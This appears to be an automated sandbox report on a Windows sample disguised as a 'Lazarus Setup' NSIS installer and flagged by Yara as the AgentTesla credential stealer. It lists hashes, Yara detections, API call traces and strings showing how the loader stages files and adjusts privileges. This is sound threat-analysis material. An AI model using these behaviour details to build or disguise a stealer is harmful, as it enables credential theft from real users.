MD5 hash:	C91D3B24DD89AE81099DB451A512BA38
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:44:21
Start date:	06/11/2024
Path:	C:\Users\user\Desktop\3Pd480eWHA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\3Pd480eWHA.exe"
Imagebase:	0x400000
File size:	895'816 bytes
MD5 hash:	C91D3B24DD89AE81099DB451A512BA38
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2521682008.0000000035874000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2521682008.000000003586C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2521682008.0000000035841000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.2521682008.0000000035841000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.5%
Dynamic/Decrypted Code Coverage:	13.9%
Signature Coverage:	21.2%
Total number of Nodes:	1452
Total number of Limit Nodes:	39

Executed Functions

Function 004030EC Relevance: 91.4, APIs: 33, Strings: 19, Instructions: 357
stringcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403111
GetVersion.KERNEL32 ref: 00403117
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403140
#17.COMCTL32(00000007,00000009), ref: 00403162
OleInitialize.OLE32(00000000), ref: 00403169
SHGetFileInfoA.SHELL32(0079D500,00000000,?,00000160,00000000), ref: 00403185
GetCommandLineA.KERNEL32(Lazarus Setup,NSIS Error), ref: 0040319A
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\3Pd480eWHA.exe",00000000), ref: 004031AD
CharNextA.USER32(00000000,"C:\Users\user\Desktop\3Pd480eWHA.exe",00000020), ref: 004031D8
GetTempPathA.KERNEL32(00000400,C:\Users\user~1\AppData\Local\Temp\,00000000,00000020), ref: 004032D5
GetWindowsDirectoryA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,000003FB), ref: 004032E6
lstrcatA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,\Temp), ref: 004032F2
GetTempPathA.KERNEL32(000003FC,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,\Temp), ref: 00403306
lstrcatA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,Low), ref: 0040330E
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,Low), ref: 0040331F
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user~1\AppData\Local\Temp\), ref: 00403327
DeleteFileA.KERNELBASE(1033), ref: 0040333B

Part of subcall function 004060A5: GetModuleHandleA.KERNEL32(?,?,?,00403156,00000009), ref: 004060B7
Part of subcall function 004060A5: GetProcAddress.KERNEL32(00000000,?), ref: 004060D2

OleUninitialize.OLE32(?), ref: 004033E9
ExitProcess.KERNEL32 ref: 0040340A
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403527
OpenProcessToken.ADVAPI32(00000000), ref: 0040352E
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403546
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00403565
ExitWindowsEx.USER32(00000002,80040002), ref: 00403589
ExitProcess.KERNEL32 ref: 004035AC

Part of subcall function 00405502: MessageBoxIndirectA.USER32(00409218), ref: 0040555D

Strings

NSIS Error, xrefs: 0040318B
UXTHEME, xrefs: 00403134, 00403139, 0040313F
C:\Users\user\Desktop, xrefs: 0040343C, 00403441, 0040346D
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne, xrefs: 004032BA, 004033BB, 00403465, 0040346E
Lazarus Setup, xrefs: 00403190
"C:\Users\user\Desktop\3Pd480eWHA.exe", xrefs: 004031A0, 004031A6, 0040335F
Error launching installer, xrefs: 004033A1
C:\Users\user~1\AppData\Local\Temp\, xrefs: 004032CA, 004032CF, 004032E5, 004032F1, 00403300, 0040330D, 00403319, 00403321, 0040341A, 0040342B, 00403436, 00403442, 0040344F, 0040345E, 0040350D
~nsu, xrefs: 00403415
", xrefs: 004031FD
Low, xrefs: 00403308
.tmp, xrefs: 00403431
TEMP, xrefs: 0040331A
SeShutdownPrivilege, xrefs: 00403540
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit, xrefs: 004033C6
\Temp, xrefs: 004032EC
TMP, xrefs: 00403322
C:\Users\user\Desktop\3Pd480eWHA.exe, xrefs: 004034C7
1033, xrefs: 00403336

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
String ID: "$"C:\Users\user\Desktop\3Pd480eWHA.exe"$.tmp$1033$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\synkefrit$C:\Users\user\Desktop$C:\Users\user\Desktop\3Pd480eWHA.exe$Error launching installer$Lazarus Setup$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3329125770-1171316478
Opcode ID: c6611ae9ac11e23741c835f25bc01884f32e14d02a86914436eec919e11b29ea
Instruction ID: 9f005f8ea334ebed05284af4b2fd35d6cfc3abe5f946e81cdcf7347df6e605c8
Opcode Fuzzy Hash: c6611ae9ac11e23741c835f25bc01884f32e14d02a86914436eec919e11b29ea
Instruction Fuzzy Hash: 02C1D7705082816AE7116F75AD4DA2F7EACAF8634AF04457FF541B61E2CB7C4A048B2E

Function 00405063 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004050C2
GetDlgItem.USER32(?,000003EE), ref: 004050D1
GetClientRect.USER32(?,?), ref: 0040510E
GetSystemMetrics.USER32(00000002), ref: 00405115
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405136
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405147
SendMessageA.USER32(?,00001001,00000000,?), ref: 0040515A
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405168
SendMessageA.USER32(?,00001024,00000000,?), ref: 0040517B
ShowWindow.USER32(00000000,?,0000001B,?), ref: 0040519D
ShowWindow.USER32(?,00000008), ref: 004051B1
GetDlgItem.USER32(?,000003EC), ref: 004051D2
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004051E2
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004051FB
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 00405207
GetDlgItem.USER32(?,000003F8), ref: 004050E0

Part of subcall function 00403F26: SendMessageA.USER32(00000028,?,00000001,00403D57), ref: 00403F34

GetDlgItem.USER32(?,000003EC), ref: 00405223
CreateThread.KERNELBASE(00000000,00000000,Function_00004FF7,00000000), ref: 00405231
CloseHandle.KERNELBASE(00000000), ref: 00405238
ShowWindow.USER32(00000000), ref: 0040525B
ShowWindow.USER32(?,00000008), ref: 00405262
ShowWindow.USER32(00000008), ref: 004052A8
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004052DC
CreatePopupMenu.USER32 ref: 004052ED
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405302
GetWindowRect.USER32(?,000000FF), ref: 00405322
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040533B
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405377
OpenClipboard.USER32(00000000), ref: 00405387
EmptyClipboard.USER32 ref: 0040538D
GlobalAlloc.KERNEL32(00000042,?), ref: 00405396
GlobalLock.KERNEL32(00000000), ref: 004053A0
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004053B4
GlobalUnlock.KERNEL32(00000000), ref: 004053CD
SetClipboardData.USER32(00000001,00000000), ref: 004053D8
CloseClipboard.USER32 ref: 004053DE

Strings

@y, xrefs: 00405353

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: @y
API String ID: 590372296-2793234042
Opcode ID: 0828e4ab056fce552cf715ec8d8979d73b4670e4ee89d676b692d6c801451d4a
Instruction ID: 0ac8b7377d144d48f6dc293dc42051cc71820a332a9e268c47e7b227606d372d
Opcode Fuzzy Hash: 0828e4ab056fce552cf715ec8d8979d73b4670e4ee89d676b692d6c801451d4a
Instruction Fuzzy Hash: 2CA15B70900248BFEB119FA0DD89EAE7F79FB08355F10406AFA05B61A0C7795E41DF69

Function 00405D2E Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000006,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,00404F5D,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000), ref: 00405DDF
GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405E5A
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405E6D
SHGetSpecialFolderLocation.SHELL32(?,0078FCF8), ref: 00405EA9
SHGetPathFromIDListA.SHELL32(0078FCF8,Call), ref: 00405EB7
CoTaskMemFree.OLE32(0078FCF8), ref: 00405EC2
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405EE4
lstrlenA.KERNEL32(Call,00000006,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000,00404F5D,Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll,00000000), ref: 00405F36

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00405E29
Call, xrefs: 00405D55, 00405E27, 00405E44, 00405E59, 00405E6C, 00405E88, 00405EB3, 00405EE3, 00405EE9, 00405F01, 00405F14, 00405F2F, 00405F35, 00405F40, 00405F6A
Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll, xrefs: 00405D5D
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405EDE

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-902353857
Opcode ID: 8aaebd9e83df3b37401bec0d629d687f6ba259a9d136d118ad02b0f801d1bc8a
Instruction ID: 9bfabfc36fba32fb106481ebf294e43342570200e8730ead7ab322b99494356e
Opcode Fuzzy Hash: 8aaebd9e83df3b37401bec0d629d687f6ba259a9d136d118ad02b0f801d1bc8a
Instruction Fuzzy Hash: F7611231904A05ABEF115B24CC84BBF7BA8DB56314F10813BE555BA2D1D33D4A82DF9E

Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNEL32(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 10001B67
lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
GlobalFree.KERNEL32(00000000), ref: 10001BCC
GlobalFree.KERNEL32(?), ref: 10001CC4
GlobalFree.KERNEL32(?), ref: 10001CC9
GlobalFree.KERNEL32(?), ref: 10001CCE
GlobalFree.KERNEL32(00000000), ref: 10001E76
lstrcpyA.KERNEL32(?,?), ref: 10001FCA

Memory Dump Source

Source File: 00000000.00000002.1834191377.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1834168923.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834213458.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.1834234460.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3Pd480eWHA.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
Opcode Fuzzy Hash: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51

Function 004055AE Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 004055D7
lstrcatA.KERNEL32(Frbids.tal,\*.*,Frbids.tal,?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 0040561F
lstrcatA.KERNEL32(?,00409014,?,Frbids.tal,?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405640
lstrlenA.KERNEL32(?,?,00409014,?,Frbids.tal,?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405646
FindFirstFileA.KERNELBASE(Frbids.tal,?,?,?,00409014,?,Frbids.tal,?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405657
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405704
FindClose.KERNEL32(00000000), ref: 00405715

Strings

Frbids.tal, xrefs: 00405607, 0040560D, 0040561E, 00405654
\*.*, xrefs: 00405619
"C:\Users\user\Desktop\3Pd480eWHA.exe", xrefs: 004055AE
C:\Users\user~1\AppData\Local\Temp\, xrefs: 004055BB

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\3Pd480eWHA.exe"$C:\Users\user~1\AppData\Local\Temp\$Frbids.tal$\*.*
API String ID: 2035342205-3138714309
Opcode ID: a8a4b792d9683b8994eb6cd94214ef05887bb3d9b353618b8ffd8ce1ac1b6fd8
Instruction ID: 15aabf9ae26d8a027305d4c4078bc37ad96aa8a5c182164a2950041f9cf2f42d
Opcode Fuzzy Hash: a8a4b792d9683b8994eb6cd94214ef05887bb3d9b353618b8ffd8ce1ac1b6fd8
Instruction Fuzzy Hash: C651DF30800A04BADB21AB618C45BBF7A78DF42355F54857BF449B61D2D73C4981EE6E

Function 00406010 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(771B3410,0079FD90,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,004058AF,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,00000000,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp,771B3410,?,C:\Users\user~1\AppData\Local\Temp\,004055CE,?,771B3410,C:\Users\user~1\AppData\Local\Temp\), ref: 0040601B
FindClose.KERNEL32(00000000), ref: 00406027

Strings

C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp, xrefs: 00406010

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user~1\AppData\Local\Temp\nsn1341.tmp
API String ID: 2295610775-2031227991
Opcode ID: d30bbc16997dfcf9f9a572ec6341a2188e66bfdc939d37fad3f946c8dc482195
Instruction ID: 592bcfe3733b0aa744bdfcff45d7cd7e76fdd068ce72c1f71716353b7d55c377
Opcode Fuzzy Hash: d30bbc16997dfcf9f9a572ec6341a2188e66bfdc939d37fad3f946c8dc482195
Instruction Fuzzy Hash: 02D012319491305BC714977C7D4C84F7A6C9B193717114A32F46AF12E0C6749CA286E9

Function 00403A1E Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A5A
ShowWindow.USER32(?), ref: 00403A77
DestroyWindow.USER32 ref: 00403A8B
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403AA7
GetDlgItem.USER32(?,?), ref: 00403AC8
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403ADC
IsWindowEnabled.USER32(00000000), ref: 00403AE3
GetDlgItem.USER32(?,00000001), ref: 00403B91
GetDlgItem.USER32(?,00000002), ref: 00403B9B
SetClassLongA.USER32(?,000000F2,?), ref: 00403BB5
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403C06
GetDlgItem.USER32(?,00000003), ref: 00403CAC
ShowWindow.USER32(00000000,?), ref: 00403CCD
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403CDF
EnableWindow.USER32(?,?), ref: 00403CFA
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403D10
EnableMenuItem.USER32(00000000), ref: 00403D17
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403D2F
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403D42
lstrlenA.KERNEL32(0079E540,?,0079E540,Lazarus Setup), ref: 00403D6B
SetWindowTextA.USER32(?,0079E540), ref: 00403D7A
ShowWindow.USER32(?,0000000A), ref: 00403EAE

Strings

Lazarus Setup, xrefs: 00403D5C
@y, xrefs: 00403D57

Memory Dump Source

Source File: 00000000.00000002.1827215076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1827187942.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827248232.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827261694.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1827528224.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @y$Lazarus Setup
API String ID: 3282139019-422933514
Opcode ID: f91631ea6a7899119ed47f58db1b72be55114eb3759132e365ec33f9056147a3
Instruction ID: 604a4885fc931abc1044a41a4cf0f2958d917e977c7d56f4e50accb35e18e33b
Opcode Fuzzy Hash: f91631ea6a7899119ed47f58db1b72be55114eb3759132e365ec33f9056147a3
Instruction Fuzzy Hash: F1C1AE31904205ABEB216F61ED85E2B3EACEB4574AF00453EF501B11F1C739A942DB5E

Function 0040368C Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004060A5: GetModuleHandleA.KERNEL32(?,?,?,00403156,00000009), ref: 004060B7
Part of subcall function 004060A5: GetProcAddress.KERNEL32(00000000,?), ref: 004060D2

lstrcatA.KERNEL32(1033,0079E540,80000001,Control Panel\Desktop\ResourceLocale,00000000,0079E540,00000000,00000002,771B3410,C:\Users\user~1\AppData\Local\Temp\,"C:\Users\user\Desktop\3Pd480eWHA.exe",00000000), ref: 00403707
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne,1033,0079E540,80000001,Control Panel\Desktop\ResourceLocale,00000000,0079E540,00000000,00000002,771B3410), ref: 0040377C
lstrcmpiA.KERNEL32(?,.exe), ref: 0040378F
GetFileAttributesA.KERNEL32(Call), ref: 0040379A
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne), ref: 004037E3

Part of subcall function 00405C6A: wsprintfA.USER32 ref: 00405C77

RegisterClassA.USER32(007A16E0), ref: 00403820
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403838
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 0040386D
ShowWindow.USER32(00000005,00000000), ref: 004038A3
GetClassInfoA.USER32(00000000,RichEdit20A,007A16E0), ref: 004038CF
GetClassInfoA.USER32(00000000,RichEdit,007A16E0), ref: 004038DC
RegisterClassA.USER32(007A16E0), ref: 004038E5
DialogBoxParamA.USER32(?,00000000,00403A1E,00000000), ref: 00403904

Strings

